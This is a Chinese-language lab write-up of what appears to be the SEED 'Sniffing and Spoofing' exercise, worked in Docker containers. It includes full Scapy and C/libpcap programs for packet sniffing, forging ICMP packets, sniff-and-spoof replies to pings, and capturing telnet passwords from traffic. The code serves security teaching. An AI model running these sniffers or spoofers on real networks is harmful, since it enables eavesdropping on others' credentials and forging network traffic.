Sniffing Spoofing¶

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首先我们启动容器：

在宿主机上使用 ifconfig 查看网络配置，找到具有 IP 地址为 10.9.0.1 的接口为 br-1cf2b5a26687：

或者使用 docker network ls 查看所有网络：

同样可以得到接口为 br-1cf2b5a26687

任务 1.1：嗅探包¶

任务 1.1A¶

首先在 hostA 容器中编写一个简单的发送数据包的程序：

send_packet.py
import socket

data = b"Hello World!\n"
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.sendto(data, ("10.9.0.6", 8080))

然后根据我们之前得到的接口在宿主机编写嗅探数据包程序：

sniffer.py
from scapy.all import *

def print_pkt(pkt):
    pkt.show()

pkt = sniff(iface = 'br-1cf2b5a26687', filter = 'udp', prn = print_pkt)

在宿主机 root 下运行嗅探数据包程序，同时在 hostA 容器中发送数据包，得到：

可以看到我们成功捕获到了数据包，如果我们不使用 root 权限运行嗅探数据包程序，则会出现报错：

这说明我们没有足够的权限来嗅探数据包

后记：后来发现不需要编程序也可以发 UDP 包，使用 echo "data" > /dev/udp/10.9.0.6/8080 即可，同样能达到效果

任务 1.1B¶

那我们使用 ping 来发送 ICMP 包，改动原来的 sniffer.py 将 filter 改为 "icmp"，再次运行，如果我们首先 echo "data" > /dev/udp/10.9.0.6/8080 再次发送 UDP 包：

可以看到得到的是 ICMP 的错误响应包，如果我们纯使用 ping 命令发送 ICMP 包：

可以看到我们捕获到了真正的 ICMP 包

我们再次改动 sniffer.py 将 filter 改为 "tcp src host 10.9.0.5 and dst port 23"，并在 hostA 中使用 echo "data" > /dev/udp/10.9.0.6/23，并未捕获到数据包，使用 echo "data" > /dev/tcp/10.9.0.6/8080 直接显示 Connection Refused：

在 hostB 中使用 echo "data" > /dev/tcp/10.9.0.5/23，也没有捕获到数据包，但是我们在 hostA 中使用 echo "data" > /dev/tcp/10.9.0.6/23，可以捕获到数据包：

我们再设定 filter 为 "net 128.230.0.0/16" 运行 sniffer.py，在 hostA 中使用 echo "data" > /dev/tcp/10.9.0.6/23，捕获不到数据包，改为 echo "data" > /dev/udp/128.230.0.127/8080 即可捕获：

任务 1.2：伪造 ICMP 包¶

先在宿主机上运行 sniffer.py 捕获所有数据包

进入 hostA 的 python 交互界面，向 hostB 发送一个 ICMP 包：

可以在宿主机中看到：

这说明我们成功伪造了 ICMP echo 请求包并且得到了响应

任务 1.3：Traceroute¶

我们直接在宿主机当中编写一个 traceroute.py 的程序，去寻找到达 www.baidu.com 的 IP 地址 223.109.82.16 的路径：

traceroute.py
from scapy.all import *

target = '223.109.82.16'

for ttl in range(1, 100):
    pkt = IP(dst = target, ttl = ttl) / ICMP()
    reply = sr1(pkt, timeout = 2, verbose = 0)
    if reply is None:
        print(f"{ttl}: *")
    elif reply.type == 0:
        print(f"{ttl}: {reply.src} Arrived!")
        break
    else:
        print(f"{ttl}: {reply.src}")

其中 timeout = 2 表示 2 秒未回应就放弃，verbose = 0 表示输出尽量简洁，运行得到结果：

和我们直接用 mtr 工具是一样的：

任务 1.4：窃听和伪造结合¶

在 seed-attacker 中编写程序 attack.py：

attack.py
from scapy.all import *

def spoof_reply(pkt):
        if ICMP in pkt and pkt[ICMP].type == 8:
                ip = IP(src = pkt[IP].dst, dst = pkt[IP].src)
                icmp = ICMP(type = 0, id = pkt[ICMP].id, seq = pkt[ICMP].seq)
                data = pkt[Raw].load
                send(ip/icmp/data, iface = "br-1cf2b5a26687", verbose = 0)

sniff(filter = "icmp and icmp[0] = 8", prn = spoof_reply, iface = "br-1cf2b5a26687")

运行 attack.py，在 hostA 中尝试 ping 1.2.3.4，一个不存在的互联网主机，得到结果如下：

这代表着我们对于一个不存在的主机都成功嗅探和伪造了一个 ICMP 响应包

我们接着 ping 10.9.0.99，一个不存在的局域网主机，得到结果如下：

这是因为 10.9.0.99 首先被认为是位于局域网当中的主机，那么就发送 ARP 请求将 IP 地址动态映射到 MAC 地址，首先会去寻找 ARP 缓存，缓存没有再去直接访问主机，因为 10.9.0.99 本身就不存在，所以无响应，返回 ICMP 错误

我们可以用 arp -a 查看 ARP 缓存：

可以看到确实有查询，但是并没有 10.9.0.99

我们再 ping 8.8.8.8，一个存在的互联网主机，得到结果如下：

可以看到嗅探伪造成功，但是因为本身互联网主机也存在且可以 ping 通，所以我们伪造的回应和实际的回应都出现了，但是因为我们的 attacker 跟 hostA 在同一个局域网中，所以我们可以看到我们的回应包比实际的回应包先到达 hostA

任务 2.1：编写数据包嗅探程序¶

任务 2.1A：理解窃听器的工作原理¶

编写嗅探程序如下：

sniffer.c
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>

struct ethheader {
    u_char ether_dhost[6];
    u_char ether_shost[6];
    u_short ether_type;
};

void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
    printf("[+] Packet captured (%d bytes)\n", header->len);

    struct ethheader *eth = (struct ethheader *)packet;
    printf("Source MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", eth->ether_shost[0], eth->ether_shost[1], eth->ether_shost[2], eth->ether_shost[3], eth->ether_shost[4], eth->ether_shost[5]);
    printf("Destination MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", eth->ether_dhost[0], eth->ether_dhost[1], eth->ether_dhost[2], eth->ether_dhost[3], eth->ether_dhost[4], eth->ether_dhost[5]);
}

int main() {
    pcap_t *handle;
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fp;
    char filter_exp[] = "icmp";
    bpf_u_int32 net;

    handle = pcap_open_live("br-1cf2b5a26687", BUFSIZ, 1, 1000, errbuf);

    pcap_compile(handle, &fp, filter_exp, 0, net);
    if (pcap_setfilter(handle, &fp) != 0) {
        pcap_perror(handle, "Error:");
        exit(EXIT_FAILURE);
    }

    pcap_loop(handle, -1, got_packet, NULL);

    pcap_close(handle);
    return 0;
}

编译运行，在 hostA ping hostB，得到结果：

可以看到我们成功捕获到了数据包，但如果我们用非 root 权限运行：

同任务 1.1A 一样的道理，非 root 用户无法嗅探数据包

问题 1：库调用序列为 pcap_open_live() -> pcap_compile() -> pcap_setfilter() -> pcap_loop() -> pcap_close()
问题 2：这是因为嗅探数据包是一个高权限的操作，因为涉及到隐私，安全相关问题。如果普通用户也能嗅探数据包，那么他就能窃取别人的隐私，甚至盗取账号密码等等，程序中 pcap_open_live() 会返回权限错误
问题 3：查看 br-1cf2b5a26687 的 promiscuity 为 0：

如果我们将程序的 pcap_open_live() 中设置 promiscuity 为 0，编译运行发现当我们再次 ping hostB 发现捕获不到数据包了

这是因为混杂模式可以监听所在网段下其他机器的数据包，关闭则不能

任务 2.1B：编写筛选器¶

对于 icmp 数据包上面已经编写好了，效果就是在 hostA ping hostB 能捕获到 ICMP 数据包，如果我们在 hostA 上给 hostB 发送 TCP 包，就捕获不到了：

如果要捕获目的端口号是 10 到 100 范围内的 TCP 数据包，我们只要修改 filter_exp[] = "tcp and dst portrange 10-100" 即可，我们在 hostA 上给 hostB 的 8080 端口发送 TCP 包，捕获不到：

如果我们在 hostA 上给 hostB 的 23 端口发送 TCP 包，捕获到：

任务 2.1C：窃听密码¶

在 TCP 包当中，发送的数据固定在 66 字节，修改 got_packet 函数如下：

got_packet
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
    printf("[+] Packet captured (%d bytes)\n", header->len);

    printf("Data: %s", (char *)(packet + 66));
}

编译运行，在 hostA 中 telnet 10.9.0.6 ，并使用 root 用户和密码 dees，捕获到数据包：

可以看到 root 和 dees 都被我们捕获到了

任务 2.2：伪造数据包¶

任务 2.2A：编写伪造程序¶

编写伪造程序如下：

spoof.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>

unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    for (; len > 1; len -= 2) 
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char *)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    return ~sum;
}

int main() {
    int sd;
    struct sockaddr_in sin;
    char buffer[1024];

    sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sd < 0) {
        perror("socket() error");
        exit(1);
    }

    struct iphdr *ip = (struct iphdr *)buffer;
    ip -> ihl = 5;
    ip -> version = 4;
    ip -> tos = 0;
    ip -> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr));
    ip -> id = htons(54321);
    ip -> frag_off = 0;
    ip -> ttl = 255;
    ip -> protocol = IPPROTO_ICMP;
    ip -> saddr = inet_addr("10.9.0.5");
    ip -> daddr = inet_addr("10.9.0.6");
    ip -> check = checksum(ip, sizeof(struct iphdr));

    struct icmphdr *icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));
    icmp -> type = ICMP_ECHO;
    icmp -> code = 0;
    icmp -> un.echo.id = htons(1234);
    icmp -> un.echo.sequence = htons(1);
    icmp -> checksum = checksum(icmp, sizeof(struct icmphdr));

    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = ip -> daddr;
    if (sendto(sd, buffer, ntohs(ip -> tot_len), 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
        perror("sendto() error");
        exit(1);
    }

    close(sd);
    return 0;
}

在 hostA 当中运行，并在宿主机监听容器网络，获取到包：

这说明我们发送了一个伪造的数据包

任务 2.2B：伪造 ICMP echo 请求数据包¶

我们修改代码，向 baidu.com 的 IP 182.61.200.108 发送 ICMP echo 请求数据包，并在宿主机上监听，得到：

可以看到远程机器是有回复的

问题 4：通过输出我们知道 IP 包大小为 28B，如果我们改为 10B，会碰到错误：

这是因为我们设置的包长度过短，无法解析发包，但如果我们将数据改大为 1000，发包成功，但是没有回复包了：

所以不能够随意设置包的大小

问题 5：必须计算校验和，否则默认填写 0x00，那么在校验时不通过被当作无效包丢弃
问题 6：同任务 1.1A 和任务 2.1A，嗅探数据包是一个高权限的操作，因为涉及到隐私，安全相关问题。如果普通用户也能嗅探数据包，那么他就能窃取别人的隐私，甚至盗取账号密码等等，程序中 socket() 会返回权限错误

任务 2.3：嗅探和伪造结合¶

把任务 2.1 和任务 2.2 结合起来，在 got_packet 时修改原包数据即可：

sniff_spoof.c
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>

int raw_sock;

struct ethheader {
    u_char  ether_dhost[6];
    u_char  ether_shost[6];
    u_short ether_type;
};

unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    for (; len > 1; len -= 2) 
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char *)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    return ~sum;
}

void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
    printf("[+] Packet captured (%d bytes)\n", header->len);

    struct ethheader *eth = (struct ethheader *)packet;

    struct iphdr *ip = (struct iphdr *)(packet + sizeof(struct ethheader));
    if (ip -> protocol == IPPROTO_ICMP) {
        struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct ethheader) + ip -> ihl * 4);
        char *payload = (char *)(icmp) + sizeof(struct icmphdr);
        int payload_len = ntohs(ip -> tot_len) - ip -> ihl * 4 - sizeof(struct icmphdr);
        if (icmp->type == ICMP_ECHO) {
            char buffer[1024];
            memset(buffer, 0, 1024);

            memcpy(buffer, ip, sizeof(struct iphdr));
            struct iphdr *new_ip = (struct iphdr *)buffer;
            new_ip -> daddr = ip -> saddr;
            new_ip -> saddr = ip -> daddr;
            new_ip -> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + payload_len);
            new_ip -> check = checksum(new_ip, sizeof(struct iphdr));

            struct icmphdr *new_icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));
            new_icmp -> type = ICMP_ECHOREPLY;
            new_icmp -> code = 0;
            new_icmp -> un.echo.id = icmp -> un.echo.id;
            new_icmp -> un.echo.sequence = icmp -> un.echo.sequence;
            memcpy((char *)new_icmp + sizeof(struct icmphdr), payload, payload_len);
            new_icmp -> checksum = 0;
            new_icmp -> checksum = checksum(new_icmp, sizeof(struct icmphdr) + payload_len);

            struct sockaddr_in sin;
            sin.sin_family = AF_INET;
            sin.sin_addr.s_addr = new_ip -> daddr;
            sendto(raw_sock, buffer, ntohs(new_ip -> tot_len), 0, (struct sockaddr *)&sin, sizeof(sin));
        }
    }

    printf("[+] Packet sent\n");
}

int main() {
    raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (raw_sock < 0) {
        perror("[-] Socket error");
        exit(1);
    }

    pcap_t *handle;
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fp;
    char filter_exp[] = "icmp";
    bpf_u_int32 net;

    handle = pcap_open_live("br-1cf2b5a26687", BUFSIZ, 1, 1000, errbuf);

    pcap_compile(handle, &fp, filter_exp, 0, net);
    if (pcap_setfilter(handle, &fp) != 0) {
        pcap_perror(handle, "Error:");
        exit(EXIT_FAILURE);
    }

    pcap_loop(handle, -1, got_packet, NULL);

    pcap_close(handle);
    return 0;
}

在宿主机编译运行，在 hostA 中 ping 1.2.3.4 （一个不存在的互联网主机）可以得到结果：

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